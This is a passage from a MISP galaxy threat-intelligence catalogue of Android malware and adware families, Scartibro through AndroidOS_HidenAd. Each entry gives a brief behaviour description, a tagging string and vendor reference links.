Scartibro is a Trojan horse for Android devices that locks the compromised device and asks the user to pay in order to unlock it.

The tag is: *misp-galaxy:android="Scartibro"*

Table 369. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-080718-2038-99

Scipiex

Scipiex is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Scipiex"*

Table 370. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-100814-4702-99

Selfmite

Selfmite is a worm for Android devices that spreads through SMS messages.

The tag is: *misp-galaxy:android="Selfmite"*

Table 371. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-070111-5857-99

Selfmite.B

Selfmite.B is a worm for Android devices that displays ads on the compromised device. It spreads through SMS messages.

The tag is: *misp-galaxy:android="Selfmite.B"*

Table 372. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101013-4717-99

SellARing

SellARing is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="SellARing"*

Table 373. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-3157-99

SendDroid

SendDroid is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="SendDroid"*

Table 374. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040311-2111-99

Simhosy

Simhosy is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Simhosy"*

Table 375. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061013-3955-99

Simplocker

Simplocker is a Trojan horse for Android devices that may encrypt files on the compromised device. It then asks the user to pay in order to decrypt these files.

The tag is: *misp-galaxy:android="Simplocker"*

Table 376. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060610-5533-99

Simplocker.B

Simplocker.B is a Trojan horse for Android devices that may encrypt files on the compromised device. It then asks the user to pay in order to decrypt these files.

The tag is: *misp-galaxy:android="Simplocker.B"*

Table 377. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-072317-1950-99

Skullkey

Skullkey is a Trojan horse for Android devices that gives the attacker remote control of the compromised device to perform malicious activity.

The tag is: *misp-galaxy:android="Skullkey"*

Table 378. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072322-5422-99

Smaato

Smaato is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Smaato"*

Table 379. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052622-1755-99

Smbcheck

Smbcheck is a hacktool for Android devices that can trigger a Server Message Block version 2 (SMBv2) vulnerability and may cause the target computer to crash.

The tag is: *misp-galaxy:android="Smbcheck"*

Table 380. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032613-5634-99

Smsblocker

Smsblocker is a generic detection for threats on Android devices that block the transmission of SMS messages.

The tag is: *misp-galaxy:android="Smsblocker"*

Table 381. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081607-4001-99

Smsbomber

Smsbomber is a program that can be used to send messages to contacts on the device.

The tag is: *misp-galaxy:android="Smsbomber"*

Table 382. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-112611-5837-99

Smslink

Smslink is a Trojan horse for Android devices that may send malicious SMS messages from the compromised device. It may also display advertisements.

The tag is: *misp-galaxy:android="Smslink"*

Table 383. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-112600-3035-99

Smspacem

Smspacem is a Trojan horse that may send SMS messages from Android devices.

The tag is: *misp-galaxy:android="Smspacem"*

Table 384. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-052310-1322-99

SMSReplicator

SMSReplicator is a spying utility that will secretly transmit incoming SMS messages to another phone of the installer's choice.

The tag is: *misp-galaxy:android="SMSReplicator"*

Table 385. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2010-110214-1252-99

Smssniffer

Smssniffer is a Trojan horse that intercepts SMS messages on Android devices.

The tag is: *misp-galaxy:android="Smssniffer"*

Table 386. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071108-3626-99

Smsstealer

Smsstealer is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Smsstealer"*

Table 387. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121514-0214-99

Smstibook

Smstibook is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.

The tag is: *misp-galaxy:android="Smstibook"*

Table 388. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-051207-4833-99

Smszombie

Smszombie is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Smszombie"*

Table 389. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082011-0922-99

Snadapps

Snadapps is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Snadapps"*

Table 390. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071807-3111-99

Sockbot

Sockbot is a Trojan horse for Android devices that creates a SOCKS proxy on the compromised device.

The tag is: *misp-galaxy:android="Sockbot"*

Table 391. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2017-101314-1353-99

Sockrat

Sockrat is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Sockrat"*

View relationships graph

Sockrat has relationships with:

- similar: misp-galaxy:rat="Adwind RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"

Table 392. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-110509-4646-99

Sofacy

Sofacy is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Sofacy"*

View relationships graph

Sofacy has relationships with:

- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"

Table 393. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2017-010508-5201-99

Sosceo

Sosceo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Sosceo"*

Table 394. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040408-0609-99

Spitmo

Spitmo is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Spitmo"*

Table 395. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-091407-1435-99

Spitmo.B

Spitmo.B is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Spitmo.B"*

Table 396. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030715-0445-99

Spyagent

Spyagent is a spyware application for Android devices that logs certain information and sends SMS messages to a predetermined phone number.

The tag is: *misp-galaxy:android="Spyagent"*

Table 397. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090710-1836-99

Spybubble

Spybubble is a Spyware application for Android devices that logs the device's activity and sends it to a predetermined website.

The tag is: *misp-galaxy:android="Spybubble"*

Table 398. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121917-0335-99

Spydafon

Spydafon is a Potentially Unwanted Application for Android devices that monitors the affected device.

The tag is: *misp-galaxy:android="Spydafon"*

Table 399. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030722-4740-99

Spymple

Spymple is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: *misp-galaxy:android="Spymple"*

Table 400. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-5403-99

Spyoo

Spyoo is a spyware program for Android devices that records and sends certain information to a remote location.

The tag is: *misp-galaxy:android="Spyoo"*

Table 401. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081709-0457-99

Spytekcell

Spytekcell is a spyware program for Android devices that monitors and sends certain information to a remote location.

The tag is: *misp-galaxy:android="Spytekcell"*

Table 402. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121021-0730-99

Spytrack

Spytrack is a spyware program for Android devices that periodically sends certain information to a remote location.

The tag is: *misp-galaxy:android="Spytrack"*

Table 403. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080109-5710-99

Spywaller

Spywaller is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Spywaller"*

Table 404. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-121807-0203-99

Stealthgenie

Stealthgenie is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Stealthgenie"*

Table 405. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-111416-1306-99

Steek

Steek is a potentially unwanted application that is placed on a download website for Android applications and disguised as popular applications.

The tag is: *misp-galaxy:android="Steek"*

Table 406. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-010911-3142-99

Stels

Stels is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Stels"*

Table 407. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-032910-0254-99

Stiniter

Stiniter is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: *misp-galaxy:android="Stiniter"*

Table 408. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-030903-5228-99

Sumzand

Sumzand is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Sumzand"*

Table 409. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080308-2851-99

Sysecsms

Sysecsms is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Sysecsms"*

Table 410. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-122714-5228-99

Tanci

Tanci is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Tanci"*

Table 411. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-4108-99

Tapjoy

Tapjoy is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Tapjoy"*

Table 412. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052619-4702-99

Tapsnake

Tapsnake is a Trojan horse for Android phones that is embedded into a game. It tracks the phone's location and posts it to a remote web service.

The tag is: *misp-galaxy:android="Tapsnake"*

Table 413. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2010-081214-2657-99

Tascudap

Tascudap is a Trojan horse for Android devices that uses the compromised device in denial of service attacks.

The tag is: *misp-galaxy:android="Tascudap"*

Table 414. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-121312-4547-99

Teelog

Teelog is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Teelog"*

Table 415. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040215-2736-99

Temai

Temai is a Trojan horse for Android applications that opens a back door and downloads malicious files onto the compromised device.

The tag is: *misp-galaxy:android="Temai"*

Table 416. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091722-4052-99

Tetus

Tetus is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Tetus"*

Table 417. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-012409-4705-99

Tgpush

Tgpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Tgpush"*

Table 418. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032816-0259-99

Tigerbot

Tigerbot is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Tigerbot"*

Table 419. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041010-2221-99

Tonclank

Tonclank is a Trojan horse that steals information and may open a back door on Android devices.

The tag is: *misp-galaxy:android="Tonclank"*

Table 420. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-061012-4545-99

Trogle

Trogle is a worm for Android devices that may steal information from the compromised device.

The tag is: *misp-galaxy:android="Trogle"*

Table 421. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-081213-5553-99

Twikabot

Twikabot is a Trojan horse for Android devices that attempts to steal information.

The tag is: *misp-galaxy:android="Twikabot"*

Table 422. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062614-5813-99

Uapush

Uapush is a Trojan horse for Android devices that steals information from the compromised device. It may also display advertisements and send SMS messages from the compromised device.

The tag is: *misp-galaxy:android="Uapush"*

Table 423. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040114-2910-99

Umeng

Umeng is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Umeng"*

Table 424. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040307-5749-99

Updtbot

Updtbot is a Trojan horse for Android devices that may arrive through SMS messages. It may then open a back door on the compromised device.

The tag is: *misp-galaxy:android="Updtbot"*

Table 425. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041611-4136-99

Upush

Upush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Upush"*

Table 426. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-0733-99

Uracto

Uracto is a Trojan horse for Android devices that steals personal information and sends spam SMS messages to contacts found on the compromised device.

The tag is: *misp-galaxy:android="Uracto"*

Table 427. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-031805-2722-99

Uranico

Uranico is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Uranico"*

Table 428. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-052803-3835-99

Usbcleaver

Usbcleaver is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Usbcleaver"*

Table 429. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062010-1818-99

Utchi

Utchi is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Utchi"*

Table 430. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-2536-99

Uten

Uten is a Trojan horse for Android devices that may send, block, and delete SMS messages on a compromised device. It may also download and install additional applications and attempt to gain root privileges.

The tag is: *misp-galaxy:android="Uten"*

Table 431. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-092316-4752-99

Uupay

Uupay is a Trojan horse for Android devices that steals information from the compromised device. It may also download additional malware.

The tag is: *misp-galaxy:android="Uupay"*

Table 432. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061714-1550-99

Uxipp

Uxipp is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.

The tag is: *misp-galaxy:android="Uxipp"*

Table 433. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-060910-5804-99

Vdloader

Vdloader is a Trojan horse for Android devices that opens a back door on the compromised device and steals confidential information.

The tag is: *misp-galaxy:android="Vdloader"*

Table 434. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080209-1420-99

VDopia

VDopia is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="VDopia"*

Table 435. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-1559-99

Virusshield

Virusshield is a Trojan horse for Android devices that claims to scan apps and protect personal information, but has no real functionality.

The tag is: *misp-galaxy:android="Virusshield"*

Table 436. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040810-5457-99

VServ

VServ is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="VServ"*

Table 437. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052619-3117-99

Walkinwat

Walkinwat is a Trojan horse that steals information from the compromised device.

The tag is: *misp-galaxy:android="Walkinwat"*

Table 438. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-033008-4831-99

Waps

Waps is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Waps"*

Table 439. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040406-5437-99

Waren

Waren is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Waren"*

Table 440. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-5501-99

Windseeker

Windseeker is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Windseeker"*

Table 441. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101519-0720-99

Wiyun

Wiyun is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Wiyun"*

Table 442. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-5646-99

Wooboo

Wooboo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Wooboo"*

Table 443. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-5829-99

Wqmobile

Wqmobile is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Wqmobile"*

Table 444. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-4926-99

YahooAds

YahooAds is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="YahooAds"*

Table 445. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-3229-99

Yatoot

Yatoot is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Yatoot"*

Table 446. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-031408-4748-99

Yinhan

Yinhan is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Yinhan"*

Table 447. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-3350-99

Youmi

Youmi is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Youmi"*

Table 448. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-4318-99

YuMe

YuMe is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="YuMe"*

Table 449. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-0322-99

Zeahache

Zeahache is a Trojan horse that elevates privileges on the compromised device.

The tag is: *misp-galaxy:android="Zeahache"*

Table 450. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-032309-5042-99

ZertSecurity

ZertSecurity is a Trojan horse for Android devices that steals information and sends it to a remote attacker.

The tag is: *misp-galaxy:android="ZertSecurity"*

Table 451. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-050820-4100-99

ZestAdz

ZestAdz is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="ZestAdz"*

Table 452. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052616-3821-99

Zeusmitmo

Zeusmitmo is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Zeusmitmo"*

Table 453. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080818-0448-99

SLocker

The SLocker family is one of the oldest mobile lock screen and file-encrypting ransomware and used to impersonate law enforcement agencies to convince victims to pay their ransom.

The tag is: *misp-galaxy:android="SLocker"*

SLocker is also known as:

- SMSLocker

Table 454. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/mobile-ransomware-pocket-sized-badness/
http://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/

Loapi

A malware strain known as Loapi will damage phones if users don't remove it from their devices. Left to its own means, this modular threat will download a Monero cryptocurrency miner that will overheat and overwork the phone's components, which will make the battery bulge, deform the phone's cover, or even worse. Discovered by Kaspersky Labs, researchers say Loapi appears to have evolved from Podec, a malware strain spotted in 2015.

The tag is: *misp-galaxy:android="Loapi"*

Table 455. Table References

Links
https://www.bleepingcomputer.com/news/security/android-malware-will-destroy-your-phone-no-ifs-and-buts-about-it/

Podec

Late last year, we encountered an SMS Trojan called Trojan-SMS.AndroidOS.Podec which used a very powerful legitimate system to protect itself against analysis and detection. After we removed the protection, we saw a small SMS Trojan with most of its malicious payload still in development. Before long, though, we intercepted a fully-fledged version of Trojan-SMS.AndroidOS.Podec in early 2015. The updated version proved to be remarkable: it can send messages to premium-rate numbers employing tools that bypass the Advice of Charge system (which notifies users about the price of a service and requires authorization before making the payment). It can also subscribe users to premium-rate services while bypassing CAPTCHA. This is the first time Kaspersky Lab has encountered this kind of capability in any Android-Trojan.

The tag is: *misp-galaxy:android="Podec"*

Table 456. Table References

Links
https://securelist.com/sms-trojan-bypasses-captcha/69169//

Chamois

Chamois is one of the largest PHA families in Android to date and is distributed through multiple channels. While much of the backdoor version of this family was cleaned up in 2016, a new variant emerged in 2017. To avoid detection, this version employs a number of techniques, such as implementing custom code obfuscation, preventing user notifications, and not appearing in the device's app list. Chamois apps, which in many cases come preloaded with the system image, try to trick users into clicking ads by displaying deceptive graphics to commit WAP or SMS fraud.

The tag is: *misp-galaxy:android="Chamois"*

Table 457. Table References

Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf
https://android-developers.googleblog.com/2017/03/detecting-and-eliminating-chamois-fraud.html

IcicleGum

IcicleGum is a spyware PHA family whose apps rely on versions of the Igexin ads SDK that offer dynamic code-loading support. IcicleGum apps use this library's code-loading features to fetch encrypted DEX files over HTTP from command-and-control servers. The files are then decrypted and loaded via class reflection to read and send phone call logs and other data to remote locations.

The tag is: *misp-galaxy:android="IcicleGum"*

View relationships graph

IcicleGum has relationships with:

- similar: misp-galaxy:android="Igexin" with estimative-language:likelihood-probability="likely"

Table 458. Table References

Links
https://blog.lookout.com/igexin-malicious-sdk
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

BreadSMS

BreadSMS is a large SMS-fraud PHA family that we started tracking at the beginning of 2017. These apps compose and send text messages to premium numbers without the user's consent. In some cases, BreadSMS apps also implement subscription-based SMS fraud and silently enroll users in services provided by their mobile carriers. These apps are linked to a group of command-and-control servers whose IP addresses change frequently and that are used to provide the apps with premium SMS numbers and message text.

The tag is: *misp-galaxy:android="BreadSMS"*

Table 459. Table References

Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

JamSkunk

JamSkunk is a toll-fraud PHA family composed of apps that subscribe users to services without their consent. These apps disable Wi-Fi to force traffic to go through users' mobile data connection and then contact command-and-control servers to dynamically fetch code that tries to bypass the network's WAP service subscription verification steps. This type of PHA monetizes their abuse via WAP billing, a payment method that works through mobile data connections and allows users to easily sign up and pay for new services using their existing account (i.e., services are billed directly by the carrier, and not the service provider; the user does not need a new account or a different form of payment). Once authentication is bypassed, JamSkunk apps enroll the device in services that the user may not notice until they receive and read their next bill.

The tag is: *misp-galaxy:android="JamSkunk"*

Table 460. Table References

Links
https://blog.fosec.vn/malicious-applications-stayed-at-google-appstore-for-months-d8834ff4de59
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

Expensive Wall

Expensive Wall is a family of SMS-fraud apps that affected a large number of devices in 2017.

Expensive Wall apps use code obfuscation to slow down analysis and evade detection, and rely on the JS2Java bridge to allow JavaScript code loaded inside a Webview to call Java methods the way Java apps directly do. Upon launch, Expensive Wall apps connect to command-and-control servers to fetch a domain name. This domain is then contacted via a Webview instance that loads a webpage and executes JavaScript code that calls Java methods to compose and send premium SMS messages or click ads without users' knowledge.

The tag is: *misp-galaxy:android="Expensive Wall"*

Table 461. Table References

Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf
https://blog.checkpoint.com/2017/09/14/expensivewall-dangerous-packed-malware-google-play-will-hit-wallet/

BambaPurple

BambaPurple is a two-stage toll-fraud PHA family that tries to trick users into installing it by disguising itself as a popular app. After install, the app disables Wi-Fi to force the device to use its 3G connection, then redirects to subscription pages without the user's knowledge, clicks subscription buttons using downloaded JavaScript, and intercepts incoming subscription SMS messages to prevent the user from unsubscribing. In a second stage, BambaPurple installs a backdoor app that requests device admin privileges and drops a .dex file. This executable checks to make sure it is not being debugged, downloads even more apps without user consent, and displays ads.

The tag is: *misp-galaxy:android="BambaPurple"*

Table 462. Table References

Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

KoreFrog

KoreFrog is a family of trojan apps that request permission to install packages and push other apps onto the device as system apps without the user's authorization. System apps can be disabled by the user, but cannot be easily uninstalled. KoreFrog apps operate as daemons running in the background that try to impersonate Google and other system apps by using misleading names and icons to avoid detection. The KoreFrog PHA family has also been observed to serve ads, in addition to apps.

The tag is: *misp-galaxy:android="KoreFrog"*

Table 463. Table References

Links

https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

Gaiaphish

Gaiaphish is a large family of trojan apps that target authentication tokens stored on the device to abuse the user's privileges for various purposes. These apps use base64-encoded URL strings to avoid detection of the command-and-control servers they rely on to download APK files. These files contain phishing apps that try to steal GAIA authentication tokens that grant the user permissions to access Google services, such as Google Play, Google+, and YouTube. With these tokens, Gaiaphish apps are able to generate spam and automatically post content (for instance, fake app ratings and comments on Google Play app pages)

The tag is: *misp-galaxy:android="Gaiaphish"*

Table 464. Table References

Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

RedDrop

RedDrop can perform a vast array of malicious actions, including recording nearby audio and uploading the data to cloud-storage accounts on Dropbox and Google Drive.

The tag is: *misp-galaxy:android="RedDrop"*

Table 465. Table References

Links
https://www.bleepingcomputer.com/news/security/new-reddrop-android-spyware-records-nearby-audio/

HenBox

HenBox apps masquerade as others such as VPN apps, and Android system apps; some apps carry legitimate versions of other apps which they drop and install as a decoy technique. While some of legitimate apps HenBox uses as decoys can be found on Google Play, HenBox apps themselves are found only on third-party (non-Google Play) app stores. HenBox apps appear to primarily target the Uyghurs – a Turkic ethnic group living mainly in the Xinjiang Uyghur Autonomous Region in North West China. HenBox has ties to infrastructure used in targeted attacks, with a focus on politics in South East Asia. These attackers have used additional malware families in previous activity dating to at least 2015 that include PlugX, Zupdax, 9002, and Poison Ivy. HexBox apps target devices made by Chinese consumer electronics manufacture, Xiaomi and those running MIUI, Xiaomi's operating system based on Google Android. Furthermore, the malicious apps register their intent to process certain events broadcast on compromised devices in order to execute malicious code. This is common practice for many Android apps, however, HenBox sets itself up to trigger based on alerts from Xiaomi smart-home IoT devices, and once activated, proceeds in stealing information from a

myriad of sources, including many mainstream chat, communication and social media apps. The stolen information includes personal and device information.

The tag is: *misp-galaxy:android="HenBox"*

Table 466. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/04/unit42-henbox-inside-coop/

MysteryBot

Cybercriminals are currently developing a new strain of malware targeting Android devices which blends the features of a banking trojan, keylogger, and mobile ransomware.

The tag is: *misp-galaxy:android="MysteryBot"*

View relationships graph

MysteryBot has relationships with:

- similar: misp-galaxy:malpedia="MysteryBot" with estimative-language:likelihood-probability="likely"

Table 467. Table References

Links
https://www.bleepingcomputer.com/news/security/new-mysterybot-android-malware-packs-a-banking-trojan-keylogger-and-ransomware/

Skygofree

At the beginning of October 2017, we discovered new Android spyware with several features previously unseen in the wild. In the course of further research, we found a number of related samples that point to a long-term development process. We believe the initial versions of this malware were created at least three years ago – at the end of 2014. Since then, the implant's functionality has been improving and remarkable new features implemented, such as the ability to record audio surroundings via the microphone when an infected device is in a specified location; the stealing of WhatsApp messages via Accessibility Services; and the ability to connect an infected device to Wi-Fi networks controlled by cybercriminals. We observed many web landing pages that mimic the sites of mobile operators and which are used to spread the Android implants. These domains have been registered by the attackers since 2015. According to our telemetry, that was the year the distribution campaign was at its most active. The activities continue: the most recently observed domain was registered on October 31, 2017. Based on our KSN statistics, there are several infected individuals, exclusively in Italy. Moreover, as we dived deeper into the investigation, we discovered several spyware tools for Windows that form an implant for exfiltrating sensitive data on a targeted machine. The version we found was built at the beginning of 2017, and at the moment we are not sure whether this implant has been used in the wild. We named the malware Skygofree, because we found the word in one of the domains.

The tag is: *misp-galaxy:android="Skygofree"*

View relationships graph

Skygofree has relationships with:

- similar: misp-galaxy:malpedia="Skygofree" with estimative-language:likelihood-probability="likely"

Table 468. Table References

Links
https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/

BusyGasper

A new family of spyware for Android grabbed the attention of security researchers through its unusual set of features and their original implementation. Tagged BusyGasper by security experts at Kaspersky, the malware stands out through its ability to monitor the various sensors present on the targeted phone. Based on the motion detection logs, it can recognize the opportune time for running and stopping its activity.

The tag is: *misp-galaxy:android="BusyGasper"*

Table 469. Table References

Links
https://www.bleepingcomputer.com/news/security/unsophisticated-android-spyware-monitors-device-sensors/

Triout

Bitdefender says Triout samples they discovered were masquerading in a clone of a legitimate application, but they were unable to discover where this malicious app was being distributed from. The obvious guess would be via third-party Android app stores, or app-sharing forums, popular in some areas of the globe.

The tag is: *misp-galaxy:android="Triout"*

Table 470. Table References

Links
https://www.bleepingcomputer.com/news/security/new-android-triout-malware-can-record-phone-calls-steal-pictures/

AndroidOS_HidenAd

active adware family (detected by Trend Micro as AndroidOS_HidenAd) disguised as 85 game, TV, and remote control simulator apps on the Google Play store

The tag is: *misp-galaxy:android="AndroidOS_HidenAd"*

AndroidOS_HidenAd is also known as:

- AndroidOS_HiddenAd

Table 471. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/adware-disguised-as-game-tv-remote-control-apps-infect-9-million-google-play-users/

Razdel

